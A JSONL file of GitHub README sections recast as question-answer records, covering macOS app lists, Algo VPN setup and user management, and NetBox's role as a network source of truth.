{"id": "gh_2b387b8f0d11", "question": "How to: Productivity", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Alfred](https://www.alfredapp.com/) - Boosts your efficiency and productivity.\n- [BetterTouchTool](https://folivora.ai) - Configure gestures for mouse and actions for keyboard shortcuts.\n- [ClipMenu](http://www.clipmenu.com/) - ClipBoard History Manager. [![Open-Source Software][OSS Icon]](https://github.com/naotaka/ClipMenu) ![Freeware][Freeware Icon]\n- [CloudClip](http://www.thinkbitz.com/cloudclip/) - Sync your clipboard between your Mac and your iOS devices. ![Freeware][Freeware Icon]\n- [Dropzone](https://aptonic.com/) - Create a popup grid of customizable actions that enhance productivity on your Mac.\n- [f.lux](https://justgetflux.com/) - Automatically adjust your computer screen to match lighting. ![Freeware][Freeware Icon]\n- [Fantastical](https://flexibits.com/fantastical) - Complete Calendar app replacement which uses natural language for creating events.\n- [Hazel](https://www.noodlesoft.com/hazel.php) - Create rules to automatically keep your files organized.\n- [HazeOver](https://hazeover.com/) - Turn distractions down and focus on your current task.\n- [HyperDock](https://bahoom.com/hyperdock/) - Select individual application window.\n- [iCMD](https://icmd.app) - Fuzzy menubar search and vim emulation.\n- [Instant Translate](https://insttranslate.com/mac) - Translate speech and text between 100+ languages from the menu bar.\n- [ItsyCal](https://www.mowglii.com/itsycal/) - A tiny menubar calendar to display your Mac Calendar app events. [![Open-Source Software][OSS Icon]](https://github.com/sfsam/Itsycal) ![Freeware][Freeware Icon]\n- [Karabiner](https://pqrs.org/osx/karabiner/) - A powerful keyboard customizer. [![Open-Source Software][OSS Icon]](https://github.com/tekezo/Karabiner) ![Freeware][Freeware Icon]\n- [Keyboard Maestro](http://www.keyboardmaestro.com) - Automate routine actions based on triggers from keyboard, menu, location, added devices, and more.\n- [Keytty](http://keytty.com) - Enables you to control your mouse with a few key strokes. Mouse Keys Alternative.\n- [LaunchBar](https://www.obdev.at/products/launchbar/index.html) - Start applications, navigate folders, manipulate files, control your Mac and much more just by using the keyboard.\n- [MeetingBar](https://meetingbar.onrender.com) - Your meetings in MacOS status bar [![Open-Source Software][OSS Icon]](https://github.com/leits/MeetingBar) ![Freeware][Freeware Icon]\n- [MenubarX](https://MenubarX.app) - A powerful menu bar browser.\n- [OmniFocus](https://www.omnigroup.com/omnifocus) - An incredible task management platform for Mac, iPad, and iPhone.\n- [OmniOutliner](https://www.omnigroup.com/omnioutliner/) - Perfect for collecting information, outlining ideas, adding structure to any sort of writing, and much more.\n- [Pandan](https://apps.apple.com/app/id1569600264) - Time awareness in your menu bar. ![Freeware][Freeware Icon]\n- [Paste](http://pasteapp.me) - The new way to copy & paste for Mac.\n- [PDF Archiver](https://github.com/JulianKahnert/PDF-Archiver) - A nice tool for tagging and archiving tasks. [![Open-Source Software][OSS Icon]](https://github.com/JulianKahnert/PDF-Archiver)\n- [PopClip](http://pilotmoon.com/popclip/) - Instantly copy & paste, access actions like search, spelling, dictionary and more.\n- [Presentify](https://presentify.compzets.com) - Annotate anything on screen, be it, images, pdfs, videos, code, etc.\n- [Qbserve](https://qotoqot.com/qbserve/) - Automatic time and project tracking, timesheets, invoicing, and real-time productivity feedback.\n- [Quicksilver](https://qsapp.com/) - Control your Mac quickly and elegantly. [![Open-Source Software][OSS Icon]](https://github.com/quicksilver/Quicksilver) ![Freeware][Freeware Icon]\n- [Rocket](http://matthewpalmer.net/rocket/) - Makes typing emoji faster and easier using Slack-style shortcuts. ![Freeware][Freeware Icon]\n- [SelfControl](https://selfcontrolapp.com/) - Block access to distracting websites. [![Open-Source Software][OSS Icon]](https://github.com/SelfControlApp/selfcontrol/) ![Freeware][Freeware Icon]\n- [Simplenote](https://simplenote.com/) - Simple cross-platform note taking app with cloud-based syncing. ![Freeware][Freeware Icon]\n- [Taskade](https://apps.apple.com/us/app/taskade-manage-anything/id1490048917/) - Real-time organization and task management tool.\n- [TaskPaper](https://www.taskpaper.com/) - Plain text to-do lists.\n- [Telephone](http://www.64characters.com/telephone/) - A SIP softphone. Make phone calls over the Internet or your company’s network. [![Open-Source Software][OSS Icon]](https://github.com/eofster/Telephone) ![Freeware][Freeware Icon]\n- [TextExpander](https://smilesoftware.com/textexpander) - Create custom keyboard shortcuts for frequently-used text and pictures.\n- [Timing](https://timingapp.com/) - Automatic time and productivity tracking for Mac. Helps you stay on track with your work and ensures no billable hours get lost if you are billing hourly.", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060607"}
{"id": "gh_4fb68ff0e8d7", "question": "How to: Sharing Files", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [CloudApp](https://www.getcloudapp.com/) - Capture and share files and screenshots instantly.\n- [Jumpshare](https://itunes.apple.com/us/app/jumpshare/id889922906) - Real-time file sharing app with support for instantly sharing code / Markdown, annotating screenshots, screen recording, and voice recording. ![Freeware][Freeware Icon]\n- [mac2imgur](https://github.com/mileswd/mac2imgur) - Upload images and screenshots to Imgur. [![Open-Source Software][OSS Icon]](https://github.com/mileswd/mac2imgur) ![Freeware][Freeware Icon]\n- [Monosnap](https://monosnap.com) - Annotate and upload images and screenshots, supports many backends like S3, SFTP, WebDAV, Dropbox, etc. ![Freeware][Freeware Icon]\n- [Transmission](https://www.transmissionbt.com/) - Simple, lightweight, multi-platform torrent client. [![Open-Source Software][OSS Icon]](https://github.com/transmission/transmission) ![Freeware][Freeware Icon]", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060612"}
{"id": "gh_81f8ee76eb91", "question": "How to: Window Management", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Amethyst](http://ianyh.com/amethyst/) - Window manager (automatically keep windows sized in grids). [![Open-Source Software][OSS Icon]](https://github.com/ianyh/Amethyst) ![Freeware][Freeware Icon]\n- [Divvy Window Manager](http://mizage.com/divvy/) - Window management for tiling your windows.\n- [Hammerspoon](http://www.hammerspoon.org/) - Extremely powerful scripting engine for macOS. [![Open-Source Software][OSS Icon]](https://github.com/Hammerspoon/hammerspoon) ![Freeware][Freeware Icon]\n- [Hummingbird](https://hummingbirdapp.site/) - Easily move and resize windows without mouse clicks, from anywhere within a window.\n- [Moom](https://manytricks.com/moom/) - Move and zoom windows, super light weight and customizable.\n- [Phoenix](https://github.com/kasper/phoenix) - A lightweight window and app manager scriptable with JavaScript. [![Open-Source Software][OSS Icon]](https://github.com/Hammerspoon/hammerspoon) ![Freeware][Freeware Icon]\n- [Rectangle](https://rectangleapp.com/) - Easily organize windows without using a mouse. [![Open-Source Software][OSS Icon]](https://github.com/rxhanson/Rectangle) ![Freeware][Freeware Icon]\n- [Stay](https://cordlessdog.com/stay/) - Resize/position windows when displays change.\n- [Swish](https://highlyopinionated.co/swish/) - Control windows and applications with trackpad gestures.\n- [yabai](https://github.com/koekeishiya/yabai) - Tiling window manager with focus follows mouse. [![Open-Source Software][OSS Icon]](https://github.com/koekeishiya/yabai) ![Freeware][Freeware Icon]", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060630"}
{"id": "gh_2f049375f586", "question": "How to: Command Line Utilities", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Awesome macOS Command Line](https://github.com/herrbischoff/awesome-osx-command-line) - Use your macOS terminal shell to do awesome things.\n- [m-cli](https://github.com/rgcr/m-cli) -  Swiss Army Knife for macOS.\n- [Mac-CLI](https://github.com/guarinogabriel/Mac-CLI) -  macOS command line tools for developers.\n- [mas](https://github.com/mas-cli/mas) - A CLI for the Mac App Store. [![Open-Source Software][OSS Icon]](https://github.com/mas-cli/mas) ![Freeware][Freeware Icon]", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060637"}
{"id": "gh_79ce9634eb79", "question": "How to: macOS Utilities", "question_body": "About iCHAIT/awesome-macOS", "answer": "- [Bluetooth Debug Menu](http://www.macobserver.com/tmo/article/os-x-bluetooth-menu-reset-devices) - Factory reset devices and more.\n- [Command Line Utilities Part 1](http://www.mitchchn.me/2014/os-x-terminal/?x)\n- [Command Line Utilities Part 2](http://www.mitchchn.me/2014/and-eight-hundred-more/)\n- [EnvPane](https://github.com/hschmidt/EnvPane) - An preference pane for environment variables. [![Open-Source Software][OSS Icon]](https://github.com/hschmidt/EnvPane) ![Freeware][Freeware Icon]\n- [Glances](https://github.com/nicolargo/glances) - System monitoring tool that runs in terminal. [![Open-Source Software][OSS Icon]](https://github.com/nicolargo/glances) ![Freeware][Freeware Icon]\n- [Thread on StackExchange](https://apple.stackexchange.com/questions/12161/os-x-terminal-must-have-utilities)", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060642"}
{"id": "gh_765aa0a6e7b9", "question": "How to: macbook-playbook", "question_body": "About iCHAIT/awesome-macOS", "answer": "Ansible playbook to configure a development and desktop environment from a clean macOS install.\n\n* https://github.com/mpereira/macbook-playbook", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060648"}
{"id": "gh_2abffff1b1a4", "question": "How to: macOS 10.9 Mavericks Setup", "question_body": "About iCHAIT/awesome-macOS", "answer": "* https://gist.github.com/kevinelliott/3135044\n* https://gist.github.com/kimmobrunfeldt/350f4898d1b82cf10bce", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060653"}
{"id": "gh_a0a99e1a7ea2", "question": "How to: macOS 10.10 Yosemite Setup", "question_body": "About iCHAIT/awesome-macOS", "answer": "* https://gist.github.com/kevinelliott/0726211d17020a6abc1f", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060657"}
{"id": "gh_3275901c5c3d", "question": "How to: macOS 10.12 Sierra Setup", "question_body": "About iCHAIT/awesome-macOS", "answer": "* https://gist.github.com/kevinelliott/7a152c556a83b322e0a8cd2df128235c/", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060661"}
{"id": "gh_e488285232f9", "question": "How to: macOS 10.14 Mojave Setup", "question_body": "About iCHAIT/awesome-macOS", "answer": "* https://gist.github.com/kevinelliott/ab14cfb080cc85e0f8a415b147a0d895", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060666"}
{"id": "gh_cd0d644e6290", "question": "How to: macOS 10.15 Catalina Setup", "question_body": "About iCHAIT/awesome-macOS", "answer": "* https://gist.github.com/kevinelliott/7152e00d6567e223902a4775b5a0a0be", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060670"}
{"id": "gh_9dbbd58734d6", "question": "How to: Miscellaneous", "question_body": "About iCHAIT/awesome-macOS", "answer": "* [Trackpad Gestures](https://support.apple.com/en-us/HT204895)\n* [Power Tools](http://www.slant.co/topics/523/~power-user-tools-for-mac-osx)\n* [Show hidden files](http://ianlunn.co.uk/articles/quickly-showhide-hidden-files-mac-os-x-mavericks/)\n* [Mac Power Users](https://www.relay.fm/mpu)\n* [Awesome Screensavers](https://github.com/aharris88/awesome-osx-screensavers)", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060677"}
{"id": "gh_a74a9f23c57e", "question": "How to: IRC channels", "question_body": "About iCHAIT/awesome-macOS", "answer": "* [#macosx](https://webchat.freenode.net/?channels=macosx)\n* [#apple](https://webchat.freenode.net/?channels=apple)\n* [#mac](https://webchat.freenode.net/?channels=mac)", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060682"}
{"id": "gh_d40886aee0bb", "question": "How to: Contribute", "question_body": "About iCHAIT/awesome-macOS", "answer": "Contributions are most welcome, please adhere to the [Contribution Guidelines](.github/contributing.md) and our [Code of Conduct](.github/CODE_OF_CONDUCT.md).\n\nPlease consider checking out the [pull requests that need more votes](https://github.com/iCHAIT/awesome-macOS/pulls?q=is%3Apr+is%3Aopen+label%3A%22needs+endorsement%22) to be included.\n\n**[⬆ back to top](#table-of-contents)**", "tags": ["iCHAIT"], "source": "github_gists", "category": "iCHAIT", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 17520, "answer_score": 10, "has_code": false, "url": "https://github.com/iCHAIT/awesome-macOS", "collected_at": "2026-01-17T08:18:14.060689"}
{"id": "gh_fc9f0dddbdfb", "question": "How to: Anti-features", "question_body": "About trailofbits/algo", "answer": "* Does not support legacy cipher suites or protocols like L2TP, IKEv1, or RSA\n* Does not install Tor, OpenVPN, or other risky servers\n* Does not depend on the security of [TLS](https://tools.ietf.org/html/rfc7457)\n* Does not claim to provide anonymity or censorship avoidance\n* Does not claim to protect you from the [FSB](https://en.wikipedia.org/wiki/Federal_Security_Service), [MSS](https://en.wikipedia.org/wiki/Ministry_of_State_Security_(China)), [DGSE](https://en.wikipedia.org/wiki/Directorate-General_for_External_Security), or [FSM](https://en.wikipedia.org/wiki/Flying_Spaghetti_Monster)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196889"}
{"id": "gh_9199c22211a3", "question": "How to: Configure the VPN Clients", "question_body": "About trailofbits/algo", "answer": "Certificates and configuration files that users will need are placed in the `configs` directory. Make sure to secure these files since many contain private keys. All files are saved under a subdirectory named with the IP address of your new Algo VPN server.\n\n**Important for IPsec users**: If you want to add or delete users later, you must select `yes` at the `Do you want to retain the keys (PKI)?` prompt during the server deployment. This preserves the certificate authority needed for user management.", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196918"}
{"id": "gh_ec794242d42a", "question": "How to: Other Devices", "question_body": "About trailofbits/algo", "answer": "For devices not covered above or manual configuration, you'll need specific certificate and configuration files. The files you need depend on your device platform and VPN protocol (WireGuard or IPsec).\n\n* ipsec/manual/cacert.pem: CA Certificate\n* ipsec/manual/\n.p12: User Certificate and Private Key (in PKCS#12 format)\n* ipsec/manual/\n.conf: strongSwan client configuration\n* ipsec/manual/\n.secrets: strongSwan client configuration\n* ipsec/apple/\n.mobileconfig: Apple Profile\n* wireguard/\n.conf: WireGuard configuration profile\n* wireguard/\n.png: WireGuard configuration QR code", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196928"}
{"id": "gh_388dd3771d4a", "question": "How to: Setup an SSH Tunnel", "question_body": "About trailofbits/algo", "answer": "If you turned on the optional SSH tunneling role, local user accounts will be created for each user in `config.cfg`, and SSH authorized_key files for them will be in the `configs` directory (user.pem). SSH user accounts do not have shell access, cannot authenticate with a password, and only have limited tunneling options (e.g., `ssh -N` is required). This ensures that SSH users have the least access required to set up a tunnel and can perform no other actions on the Algo server.\n\nUse the example command below to start an SSH tunnel by replacing `\n` and `\n` with your own. Once the tunnel is set up, you can configure a browser or other application to use 127.0.0.1:1080 as a SOCKS proxy to route traffic through the Algo server:\n\n```bash\nssh -D 127.0.0.1:1080 -f -q -C -N\n@algo -i configs/\n/ssh-tunnel/\n.pem -F configs/\n/ssh_config\n```", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 30252, "answer_score": 10, "has_code": true, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196935"}
{"id": "gh_c6e03e2e8b7a", "question": "How to: SSH into Algo Server", "question_body": "About trailofbits/algo", "answer": "Your Algo server is configured for key-only SSH access for administrative purposes. Open the Terminal app, `cd` into the `algo-master` directory where you originally downloaded Algo, and then use the command listed on the success message:\n\n```\nssh -F configs/\n/ssh_config\n```\n\nwhere `\n` is the IP address of your Algo server. If you find yourself regularly logging into the server, it will be useful to load your Algo SSH key automatically. Add the following snippet to the bottom of `~/.bash_profile` to add it to your shell environment permanently:\n\n```\nssh-add ~/.ssh/algo > /dev/null 2>&1\n```\n\nAlternatively, you can choose to include the generated configuration for any Algo servers created into your SSH config. Edit the file `~/.ssh/config` to include this directive at the top:\n\n```\nInclude\n/configs/*/ssh_config\n```\n\nwhere `\n` is the directory where you cloned Algo.", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 30252, "answer_score": 10, "has_code": true, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196942"}
{"id": "gh_e620f78038eb", "question": "How to: Adding or Removing Users", "question_body": "About trailofbits/algo", "answer": "Algo makes it easy to add or remove users from your VPN server after initial deployment.\n\nFor IPsec users: You must have selected `yes` at the `Do you want to retain the keys (PKI)?` prompt during the initial server deployment. This preserves the certificate authority needed for user management. You should also save the p12 and CA key passwords shown during deployment, as they're only displayed once.\n\nTo add or remove users, first edit the `users` list in your `config.cfg` file. Add new usernames or remove existing ones as needed. Then navigate to the algo directory in your terminal and run:\n\n**macOS/Linux:**\n```bash\n./algo update-users\n```\n\n**Windows:**\n```powershell\n.\\algo.ps1 update-users\n```\n\nAfter the process completes, new configuration files will be generated in the `configs` directory for any new users. The Algo VPN server will be updated to contain only the users listed in the `config.cfg` file. Removed users will no longer be able to connect, and new users will have fresh certificates and configuration files ready for use.", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 30252, "answer_score": 10, "has_code": true, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196950"}
{"id": "gh_d902261f9ce7", "question": "How to: Privacy and Logging", "question_body": "About trailofbits/algo", "answer": "Algo takes a pragmatic approach to privacy. By default, we minimize logging while maintaining enough information for security and troubleshooting.\n\nWhat IS logged by default:\n* System security events (failed SSH attempts, firewall blocks, system updates)\n* Kernel messages and boot diagnostics (with reduced verbosity)\n* WireGuard client state (visible via `sudo wg` - shows last endpoint and handshake time)\n* Basic service status (service starts/stops/errors)\n* All logs automatically rotate and delete after 7 days\n\nPrivacy is controlled by two main settings in `config.cfg`:\n* `strongswan_log_level: -1` - Controls StrongSwan connection logging (-1 = disabled, 2 = debug)\n* `privacy_enhancements_enabled: true` - Master switch for log rotation, history clearing, log filtering, and cleanup\n\nTo enable full debugging when troubleshooting, set both `strongswan_log_level: 2` and `privacy_enhancements_enabled: false`. This will capture detailed connection logs and disable all privacy features. Remember to revert these changes after debugging.\n\nAfter deployment, verify your privacy settings:\n```bash\nssh -F configs/\n/ssh_config\nsudo /usr/local/bin/privacy-monitor.sh\n```\n\nPerfect privacy is impossible with any VPN solution. Your cloud provider sees and logs network traffic metadata regardless of your server configuration. And of course, your ISP knows you're connecting to a VPN server, even if they can't see what you're doing through it.\n\nFor the highest level of privacy, treat your Algo servers as disposable. Spin up a new instance when you need it, use it for your specific purpose, then destroy it completely. The ephemeral nature of cloud infrastructure can be a privacy feature if you use it intentionally.", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 30252, "answer_score": 10, "has_code": true, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196958"}
{"id": "gh_7070f577c835", "question": "How to: Additional Documentation", "question_body": "About trailofbits/algo", "answer": "* [FAQ](docs/faq.md)\n* [Troubleshooting](docs/troubleshooting.md)\n* How Algo uses [Firewalls](docs/firewalls.md)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196964"}
{"id": "gh_a80fc86f826c", "question": "How to: Setup Instructions for Specific Cloud Providers", "question_body": "About trailofbits/algo", "answer": "* Configure [Amazon EC2](docs/cloud-amazon-ec2.md)\n* Configure [Azure](docs/cloud-azure.md)\n* Configure [DigitalOcean](docs/cloud-do.md)\n* Configure [Google Cloud Platform](docs/cloud-gce.md)\n* Configure [Vultr](docs/cloud-vultr.md)\n* Configure [CloudStack](docs/cloud-cloudstack.md)\n* Configure [Hetzner Cloud](docs/cloud-hetzner.md)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196970"}
{"id": "gh_9fce16a95803", "question": "How to: Install and Deploy from Common Platforms", "question_body": "About trailofbits/algo", "answer": "* Deploy from [macOS](docs/deploy-from-macos.md)\n* Deploy from [Windows](docs/deploy-from-windows.md)\n* Deploy from [Google Cloud Shell](docs/deploy-from-cloudshell.md)\n* Deploy from a [Docker container](docs/deploy-from-docker.md)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196976"}
{"id": "gh_e685d23312b4", "question": "How to: Setup VPN Clients to Connect to the Server", "question_body": "About trailofbits/algo", "answer": "* Setup [Windows](docs/client-windows.md) clients\n* Setup [Android](docs/client-android.md) clients\n* Setup [Linux](docs/client-linux.md) clients with Ansible\n* Setup Ubuntu clients to use [WireGuard](docs/client-linux-wireguard.md)\n* Setup Linux clients to use [IPsec](docs/client-linux-ipsec.md)\n* Setup Apple devices to use [IPsec](docs/client-apple-ipsec.md)\n* Setup Macs running macOS 10.13 or older to use [WireGuard](docs/client-macos-wireguard.md)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196982"}
{"id": "gh_70784bc16156", "question": "How to: Advanced Deployment", "question_body": "About trailofbits/algo", "answer": "* Deploy to your own [Ubuntu](docs/deploy-to-ubuntu.md) server, and road warrior setup\n* Deploy from [Ansible](docs/deploy-from-ansible.md) non-interactively\n* Deploy onto a [cloud server at time of creation with shell script or cloud-init](docs/deploy-from-script-or-cloud-init-to-localhost.md)\n* Deploy to an [unsupported cloud provider](docs/deploy-to-unsupported-cloud.md)\n\nIf you've read all the documentation and have further questions, [create a new discussion](https://github.com/trailofbits/algo/discussions).", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.196988"}
{"id": "gh_f2ef0b5f6d1d", "question": "How to: Endorsements", "question_body": "About trailofbits/algo", "answer": "> I've been ranting about the sorry state of VPN svcs for so long, probably about\n> time to give a proper talk on the subject. TL;DR: use Algo.\n\n-- [Kenn White](https://twitter.com/kennwhite/status/814166603587788800)\n\n> Before picking a VPN provider/app, make sure you do some research\n> https://research.csiro.au/ng/wp-content/uploads/sites/106/2016/08/paper-1.pdf ... – or consider Algo\n\n-- [The Register](https://twitter.com/TheRegister/status/825076303657177088)\n\n> Algo is really easy and secure.\n\n-- [the grugq](https://twitter.com/thegrugq/status/786249040228786176)\n\n> I played around with Algo VPN, a set of scripts that let you set up a VPN in the cloud in very little time, even if you don’t know much about development. I’ve got to say that I was quite impressed with Trail of Bits’ approach.\n\n-- [Romain Dillet](https://twitter.com/romaindillet/status/851037243728965632) for [TechCrunch](https://techcrunch.com/2017/04/09/how-i-made-my-own-vpn-server-in-15-minutes/)\n\n> If you’re uncomfortable shelling out the cash to an anonymous, random VPN provider, this is the best solution.\n\n-- [Thorin Klosowski](https://twitter.com/kingthor) for [Lifehacker](http://lifehacker.com/how-to-set-up-your-own-completely-free-vpn-in-the-cloud-1794302432)", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.197000"}
{"id": "gh_74c2b08c5e27", "question": "How to: Contributing", "question_body": "About trailofbits/algo", "answer": "See our [Development Guide](docs/DEVELOPMENT.md) for information on:\n* Setting up your development environment\n* Using pre-commit hooks for code quality\n* Running tests and linters\n* Contributing code via pull requests", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.197006"}
{"id": "gh_90b897de5299", "question": "How to: Support Algo VPN", "question_body": "About trailofbits/algo", "answer": "[![PayPal](https://www.paypalobjects.com/en_US/i/btn/btn_donate_SM.gif)](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CYZZD39GXUJ3E)\n[![Patreon](https://img.shields.io/badge/back_on-patreon-red.svg)](https://www.patreon.com/algovpn)\n\nAll donations support continued development. Thanks!\n\n* We accept donations via [PayPal](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CYZZD39GXUJ3E) and [Patreon](https://www.patreon.com/algovpn).\n* Use our [referral code](https://m.do.co/c/4d7f4ff9cfe4) when you sign up to Digital Ocean for a $10 credit.\n* We also accept and appreciate contributions of new code and bugfixes via Github Pull Requests.\n\nAlgo is licensed and distributed under the AGPLv3. If you want to distribute a closed-source modification or service based on Algo, then please consider\npurchasing an exception\n. As with the methods above, this will help support continued development.", "tags": ["trailofbits"], "source": "github_gists", "category": "trailofbits", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 30252, "answer_score": 10, "has_code": false, "url": "https://github.com/trailofbits/algo", "collected_at": "2026-01-17T08:18:29.197014"}
{"id": "gh_e567dd3c2ab5", "question": "How to: NetBox's Role", "question_body": "About netbox-community/netbox", "answer": "NetBox functions as the **source of truth** for your network infrastructure. Its job is to define and validate the _intended state_ of all network components and resources. NetBox does not interact with network nodes directly; rather, it makes this data available programmatically to purpose-built automation, monitoring, and assurance tools. This separation of duties enables the construction of a robust yet flexible automation system.\nThe diagram above illustrates the recommended deployment architecture for an automated network, leveraging NetBox as the central authority for network state. This approach allows your team to swap out individual tools to meet changing needs while retaining a predictable, modular workflow.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283685"}
{"id": "gh_51ff999acf35", "question": "How to: Comprehensive Data Model", "question_body": "About netbox-community/netbox", "answer": "Racks, devices, cables, IP addresses, VLANs, circuits, power, VPNs, and lots more: NetBox is built for networks. Its comprehensive and thoroughly inter-linked data model provides for natural and highly structured modeling of myriad network primitives that just isn't possible using general-purpose tools. And there's no need to waste time contemplating how to build out a database: Everything is ready to go upon installation.", "tags": ["netbox-community"], "source": "github_gists", "category": "netbox-community", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 19573, "answer_score": 10, "has_code": false, "url": "https://github.com/netbox-community/netbox", "collected_at": "2026-01-17T08:18:32.283700"}
